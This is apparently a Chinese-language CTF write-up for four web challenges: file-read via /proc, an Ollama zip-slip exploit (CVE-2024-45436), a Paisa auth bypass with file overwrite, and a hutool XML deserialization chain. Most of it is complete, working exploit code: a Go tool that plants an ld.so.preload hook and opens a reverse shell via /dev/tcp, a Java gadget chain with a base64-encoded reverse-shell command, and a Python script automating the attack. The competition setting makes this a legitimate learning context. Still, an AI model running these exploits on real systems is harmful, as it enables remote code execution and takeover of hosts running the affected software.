flow
题目给了一个读文件功能先读一下执行的命令
?file=/proc/self/cmdline
得到python3/app/main.py
那么直接读源码
?file=/app/main.py
源码如下
from flask import Flask, request, render_template_string, abort
app = Flask(__name__)
HOME_PAGE_HTML = '''
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Flask Web Application</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<h1 class="display-4 text-center">Welcome to My Flask App</h1>
<p class="lead text-center">This is a simple web app using Flask.</p>
<div class="text-center">
<a href="/file?f=example.txt" class="btn btn-primary">Read example.txt</a>
</div>
</div>
</body>
</html>
'''
@app.route('/')
def index():
return render_template_string(HOME_PAGE_HTML)
@app.route('/file')
def file():
file_name = request.args.get('f')
if not file_name:
return "Error: No file parameter provided.", 400
try:
with open(file_name, 'r') as file:
content = file.read()
return content
except FileNotFoundError:
return abort(404, description="File not found.")
except Exception as e:
return f"Error reading file.", 500
if __name__ == '__main__':
app.run(host="127.0.0.1", port=8080)
没有别的功能,我没直接读环境变量拿到flag
?file=/proc/1/environ
ollama4shell
CVE-2024-45436
需要在linux下运行,环境需要有gcc
安装golang,执行如下命令反弹shell
go run main.go -target http://127.0.0.1:11434/ -exec "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"
payload如下
package main
import (
"archive/zip"
"bufio"
"bytes"
"crypto/sha256"
"encoding/json"
"flag"
"fmt"
"io"
"log"
"net/http"
"net/url"
"os"
"os/exec"
"strconv"
"strings"
)
const CODE = `#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) myInitFunction() {
const char *f1 = "/etc/ld.so.preload";
const char *f2 = "/tmp/hook.so";
unlink(f1);
unlink(f2);
system("bash -c '%s'");
}`
func main() {
var targetUrl string
var execCmd string
flag.StringVar(&targetUrl, "target", "", "target url")
flag.StringVar(&execCmd, "exec", "", "exec command")
flag.Parse()
if targetUrl == "" {
fmt.Println("target url is required")
os.Exit(1)
}
u := FormatUrl(targetUrl)
detectRes, err := Detect(u)
if err != nil {
log.Fatal(err)
}
if !detectRes {
fmt.Println("\nVulnerability does not exist")
os.Exit(1)
}
fmt.Println("\nVulnerability does exist!!!")
if execCmd == "" {
fmt.Println("exec command is required")
os.Exit(1)
}
_, err = GenEvilSo(execCmd)
if err != nil {
log.Fatal(err)
}
evilZipName, err := GenEvilZip()
if err != nil {
log.Fatal(err)
}
blobSha256Name, err := UploadBlob(u, evilZipName)
if err != nil {
log.Fatal(err)
}
err = Create(u, strings.ReplaceAll(blobSha256Name, ":", "-"))
if err != nil {
log.Fatal(err)
}
err = EmbeddingsExec(u, "all-minilm:22m")
if err != nil {
log.Fatal(err)
}
}
func GenEvilSo(cmd string) (string, error) {
code := fmt.Sprintf(CODE, cmd)
err := os.WriteFile("tmp.c", []byte(code), 0644)
if err != nil {
return "", err
}
compile := exec.Command("gcc", "tmp.c", "-o", "hook.so", "-fPIC", "-shared", "-ldl", "-D_GNU_SOURCE")
err = compile.Run()
if err != nil {
fmt.Println(err)
return "", err
}
return "hook.so", nil
}
func GenEvilZip() (string, error) {
zipFile, err := os.Create("evil.zip")
if err != nil {
return "", err
}
zw := zip.NewWriter(zipFile)
preloadFile, err := zw.Create("../../../../../../../../../../etc/ld.so.preload")
_, err = preloadFile.Write([]byte("/tmp/hook.so"))
if err != nil {
return "", err
}
soFile, err := zw.Create("../../../../../../../../../../tmp/hook.so")
if err != nil {
return "", err
}
locSoFile, err := os.Open("hook.so")
if err != nil {
return "", err
}
defer locSoFile.Close()
io.Copy(soFile, locSoFile)
zw.Close()
zipFile.Close()
return "evil.zip", nil
}
func UploadBlob(url, fileName string) (string, error) {
f, err := os.Open(fileName)
if err != nil {
return "", err
}
defer f.Close()
h := sha256.New()
if _, err := io.Copy(h, f); err != nil {
return "", err
}
fName := fmt.Sprintf("sha256:%x", h.Sum(nil))
_, err = f.Seek(0, 0)
if err != nil {
return "", err
}
newReader := bufio.NewReader(f)
res, err := http.Post(url+"/api/blobs/"+fName, "application/octet-stream", newReader)
if err != nil {
return "", err
}
content, err := io.ReadAll(res.Body)
if err != nil {
return "", err
}
fmt.Println("http log: " + string(content))
return fName, nil
}
func Create(url, remoteFilePath string) error {
jsonContent := []byte(fmt.Sprintf(`{"name": "test","modelfile": "FROM /root/.ollama/models/blobs/%s"}`, remoteFilePath))
res, err := http.Post(url+"/api/create", "application/json", bytes.NewBuffer(jsonContent))
if err != nil {
return err
}
content, err := io.ReadAll(res.Body)
if err != nil {
return err
}
fmt.Println("http log: " + string(content))
return nil
}
func EmbeddingsExec(url, model string) error {
for i := 0; i < 3; i++ {
jsonContent := []byte(fmt.Sprintf(`{"model":"%s","keep_alive": 0}`, model))
res, err := http.Post(url+"/api/embeddings", "application/json", bytes.NewBuffer(jsonContent))
if err != nil {
return err
}
if res.StatusCode != 200 {
fmt.Println("pulling model, please wait......")
err := PullMinilmModel(url)
if err != nil {
return err
}
} else {
content, err := io.ReadAll(res.Body)
if err != nil {
return err
}
fmt.Println("http log: " + string(content))
break
}
}
return nil
}
func PullMinilmModel(url string) error {
jsonContent := `{"name":"all-minilm:22m"}`
res, err := http.Post(url+"/api/pull", "application/json", bytes.NewBuffer([]byte(jsonContent)))
if err != nil {
return err
}
content, err := io.ReadAll(res.Body)
if err != nil {
return err
}
fmt.Println("http log: " + string(content))
return nil
}
func Detect(url string) (bool, error) {
res, err := http.Get(url + "/api/version")
if err != nil {
return false, err
}
var jsonMap map[string]string
jsonContent, err := io.ReadAll(res.Body)
if err != nil {
return false, err
}
if err := json.Unmarshal(jsonContent, &jsonMap); err != nil || jsonMap["version"] == "" {
return false, err
}
return isVersionLessThan(jsonMap["version"], "0.1.47"), nil
}
func FormatUrl(u string) string {
ur, err := url.Parse(u)
if err != nil {
fmt.Println(ur)
}
return fmt.Sprintf("%s://%s", ur.Scheme, ur.Host)
}
func isVersionLessThan(version, target string) bool {
v1 := strings.Split(version, ".")
v2 := strings.Split(target, ".")
for i := 0; i < len(v1) && i < len(v2); i++ {
num1, _ := strconv.Atoi(v1[i])
num2, _ := strconv.Atoi(v2[i])
if num1 < num2 {
return true
} else if num1 > num2 {
return false
}
}
return len(v1) < len(v2)
}
paisa4shell
前台RCE,题目使用官方docker镜像:https://github.com/ananthakumaran/paisa
首先是绕鉴权
这里用了 c.Request.RequestURI
来确定路由,但是 c.Request.RequestURI
是原始的请求URI,gin框架的路由选择是根据 c.Request.URL.Path
来确定的,所以我们可以通过URL编码的方式绕过这个中间件的检测,就像这样
GET /%61pi/config HTTP/1.1
Host: 127.0.0.1:7500
Connection: close
绕过身份验证后,可以利用 /api/editor/validate
的任意文件上传漏洞覆盖 /usr/bin/ledger 文件
payload如下
POST /%61pi/sheets/save
{"name":"../../../usr/bin/ledger","content":"#!/bin/sh\nenv"}
最后使用 /api/editor/validate
触发执行命令
POST /%61pi/editor/validate
{}
ezlogin
hutool XML反序列化漏洞
XMLDecoder.readObject
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>
object 标签,class 的值对应着实例化的全类名(java.lang.ProcessBuilder)
array 标签,class 的值对应着实例化的全类名对象构造的参数(ProcessBuilder 对象的构造参数)
void 标签,method 的值对应着 method 的参数 (start)
最后相当于执行了 new java.lang.ProcessBuilder(new String[]{"calc"}).start();
主要代码如下
package org.example.auth;
import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.XmlUtil;
import java.io.File;
import java.text.MessageFormat;
import javax.xml.parsers.DocumentBuilderFactory;
/* loaded from: UserUtil.class */
public class UserUtil {
private static int maxLength = FileUtil.readString(new File("/user/AAAAAA.xml"), "UTF-8").length();
private static final File USER_DIR = new File("/user");
public static boolean login_in = false;
private static boolean checkSyntax(File xmlFile) {
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setNamespaceAware(false);
factory.newDocumentBuilder().parse(xmlFile);
return true;
} catch (Exception e) {
System.out.printf("XML syntax error : %s\n", xmlFile.getName());
return false;
}
}
public static String register(String username, String password) throws Exception {
File userFile = new File(USER_DIR, username + ".xml");
if (userFile.exists()) {
return "User already exists!";
}
FileUtil.writeString(MessageFormat.format("<java>\n <object class=\"org.example.auth.User\">\n <void property=\"username\">\n <string>{0}</string>\n </void>\n <void property=\"password\">\n <string>{1}</string>\n </void>\n </object>\n</java>", username, password), userFile, "UTF-8");
return "Register successful!";
}
public static User login(String username, String password) throws Exception {
User user;
File userFile = new File(USER_DIR, username + ".xml");
if (!userFile.exists() || (user = readUser(userFile)) == null || !user.getPassword().equals(password)) {
return null;
}
login_in = true;
return user;
}
private static User readUser(File userFile) throws Exception {
String content = FileUtil.readString(userFile, "UTF-8");
int length = content.length();
if (checkSyntax(userFile) && !content.contains("java.") && !content.contains("springframework.") && !content.contains("hutool.") && length <= maxLength) {
return (User) XmlUtil.readObjectFromXml(userFile);
}
System.out.printf("Unusual File Detected : %s\n", userFile.getName());
return null;
}
public static String changePassword(String username, String oldPass, String newPass) {
File userFile = new File(USER_DIR, username + ".xml");
if (!userFile.exists()) {
return "User not exists!";
}
FileUtil.writeString(FileUtil.readString(userFile, "UTF-8").replace(oldPass, newPass), userFile, "UTF-8");
return "Edit Success!";
}
public static String delUser(String username) {
File userFile = new File(USER_DIR, username + ".xml");
if (!userFile.exists()) {
return "User has already been deleted!";
}
try {
FileUtil.del(userFile);
return "User delete success!";
} catch (Exception e) {
return "error!";
}
}
public static boolean check(String username, String password) {
if (!username.matches("^[\\x20-\\x7E]{1,6}$") || !password.matches("^[\\x20-\\x7E]{3,10}$")) {
return false;
}
return true;
}
}
审计代码存在hutool XML反序列化漏洞
private static User readUser(File userFile) throws Exception {
String content = FileUtil.readString(userFile, "UTF-8");
int length = content.length();
if (checkSyntax(userFile) && !content.contains("java.") && !content.contains("springframework.") && !content.contains("hutool.") && length <= maxLength) {
return (User) XmlUtil.readObjectFromXml(userFile);
}
System.out.printf("Unusual File Detected : %s\n", userFile.getName());
return null;
}
更改密码功能代码存在逻辑漏洞,直接用的replace替换
public static String changePassword(String username, String oldPass, String newPass) {
File userFile = new File(USER_DIR, username + ".xml");
if (!userFile.exists()) {
return "User not exists!";
}
FileUtil.writeString(FileUtil.readString(userFile, "UTF-8").replace(oldPass, newPass), userFile, "UTF-8");
return "Edit Success!";
}
同时路由并没有删除JSESSION
public class DeleteController {
@GetMapping({"/del"})
@ResponseBody
public String home(HttpSession session) {
User user = (User) session.getAttribute("loggedInUser");
if (user != null) {
return UserUtil.delUser(user.getUsername());
}
return "No user logged in!";
}
}
其中lib包依赖如下有jackson依赖
长度限制可以用递归绕,即:
payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://"+rmiserver+"/a</string></void></object></java><!--"
list1 = []
for i in range(0,len(payload1),5) :
if len(payload1) - i >= 5:
list1.append(payload1[i:i+5:]+"_____")
else:
list1.append(payload1[i:len(payload1)])
break
print(list1)
if len(list1[-1]) < 3:
list1[-1]=list1[-2][-8:-5:]+list1[-1]
list1[-2]=list1[-2][0:2]+list1[-2][-5:-1:]
print(list1)
每次均替换______
为下一段payload即可
同时利用该方法修改注释掉的xml部分,每个"<",">"之间都修改为最短的三字符,即可缩短xml文件至最小长度。
预期最短的xml应该是:
<!-->
111<111>
111<111>
111<111>D<111>
111<111>
111<111>
111<111>--><java><object class="javax.naming.InitialContext"><void method="lookup"><string>rmi://172.22.192.119:8888/a</string></void></object></java><!--<111>
111<111>
111<111>
</!-->
不过不需要这么极限,注释掉的部分随便改改短就可以了,用户名最短一字符。
修改ysoserial的ysoserial.exploit.JRMPListener来发送序列化数据:
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objo.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
obji.readObject();
}
public static byte[][] generateEvilBytes() throws Exception{
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL2lwLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}\");";
// 修改为自己的ip port
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;
}
public static <T> void setValue(Object obj,String fname,T f) throws Exception{
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,f);
}
// 删除writeReplace
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod wt = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(wt);
ctClass0.toClass();
//构造恶意TemplatesImpl
TemplatesImpl tmp = new TemplatesImpl();
setValue(tmp,"_tfactory",new TransformerFactoryImpl());
setValue(tmp,"_name","123");
setValue(tmp,"_bytecodes",generateEvilBytes());
// //不稳定的触发
// ObjectMapper objmapper = new ObjectMapper();
// ArrayNode arrayNode =objmapper.createArrayNode();
// arrayNode.addPOJO(tmp);
//
//
// BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
// Field f = BadAttributeValueExpException.class.getDeclaredField("val");
// f.setAccessible(true);
// f.set(ex,arrayNode);
//
// serialize(ex);
// System.out.println(getb64(ex));
// System.out.println(getb64(ex).length());
// unserialize();
//稳定触发
AdvisedSupport support = new AdvisedSupport();
support.setTarget(tmp);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);
ObjectMapper objmapper = new ObjectMapper();
ArrayNode arrayNode =objmapper.createArrayNode();
arrayNode.addPOJO(proxy);
BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
Field f = BadAttributeValueExpException.class.getDeclaredField("val");
f.setAccessible(true);
f.set(ex,arrayNode);
oos.writeObject(ex);
oos.flush();
out.flush();
并在vps上运行
mvn clean package --DskipTests
cd target/
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 a a
启动JRMPListener后运行exp:即可反弹shell
import requests
import sys
targeturl = "http://"+sys.argv[1] //靶机地址
rmiserver = sys.argv[2] //rmi服务器地址
sessions = {}
def register(passwd):
data={"password":passwd,"username":"F"}
res = requests.post(targeturl+"/register",data=data)
if "success" in res.text.lower():
print(f"register {passwd} success")
else : print(f"register fail: {res.text}");exit(114514)
def getsession(passwd):
data={"password":passwd,"username":"F"}
res = requests.post(targeturl+"/login",data=data)
if "redirect" in res.text.lower() :
session=res.headers.get("Set-Cookie").split(";")[0].split("=")[1]
print(f"session for {passwd} : {session}")
headers = {"Cookie" : f"JSESSIONID={session}"}
sessions[passwd] = headers
else:
print(f"login fail : {res.text}");exit(114514)
def editpass(oldpass,newpass):
data={"newPass":newpass}
headers = sessions[oldpass]
res = requests.post(targeturl+"/editPass",data=data,headers=headers)
if "success" in res.text.lower():
print(f"change {oldpass} to {newpass} success")
else:
print(f"edit fail : {res.text}");exit(114514)
def deluser(passwd):
res = requests.get(targeturl+"/del",headers=sessions[passwd])
if "success" in res.text.lower():
print(f"delete {passwd} success")
def addsession(passwd):
register(passwd)
getsession(passwd)
deluser(passwd)
payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://"+rmiserver+"/a</string></void></object></java><!--"
list1 = []
for i in range(0,len(payload1),5) :
if len(payload1) - i >= 5:
list1.append(payload1[i:i+5:]+"_____")
else:
list1.append(payload1[i:len(payload1)])
break
print(list1)
if len(list1[-1]) < 3:
list1[-1]=list1[-2][-8:-5:]+list1[-1]
list1[-2]=list1[-2][0:2]+list1[-2][-5:-1:]
print(list1)
list2=[]
payload2="11111 class=\"org.example.auth.User\""
for i in range(0,len(payload2),10) :
if len(payload2) - i >= 10:
list2.append(payload2[i:i+10:])
else:
list2.append(payload2[i:len(payload2)])
break
print(list2)
for s in list2:
addsession(s)
list3=[]
payload3="void property=\"username\""
for i in range(0,len(payload3),10) :
if len(payload3) - i >= 10:
list3.append(payload3[i:i+10:])
else:
list3.append(payload3[i:len(payload3)])
break
print(list3)
list4=[]
payload4="void property=\"password\""
for i in range(0,len(payload4),10) :
if len(payload4) - i >= 10:
list4.append(payload4[i:i+10:])
else:
list4.append(payload4[i:len(payload4)])
break
print(list4)
addsession("_____")
addsession("____")
for s in list3:
addsession(s)
for s in list4:
addsession(s)
addsession("string")
addsession("object")
addsession("/void")
addsession(" ")
addsession("1111111111")
addsession("/11111")
addsession("java")
addsession("11111")
register("haha")
getsession("haha")
editpass("java","!--")
editpass("string","11111")
editpass("object","11111")
editpass("/11111","11111")
editpass(" ","11111")
editpass("/void","111")
for s in list2:
editpass(s,"11111")
for s in list3:
editpass(s,"11111")
for s in list4:
editpass(s,"11111")
editpass("1111111111","11111")
editpass("1111111111","11111")
editpass("haha",list1[0])
editpass("11111","111")
# Now it's the shortest (237)
for payload in list1[1::]:
editpass("_____",payload)
editpass("____","<!--")
requests.post(targeturl+"/login",data={"username":"F","password":"1"})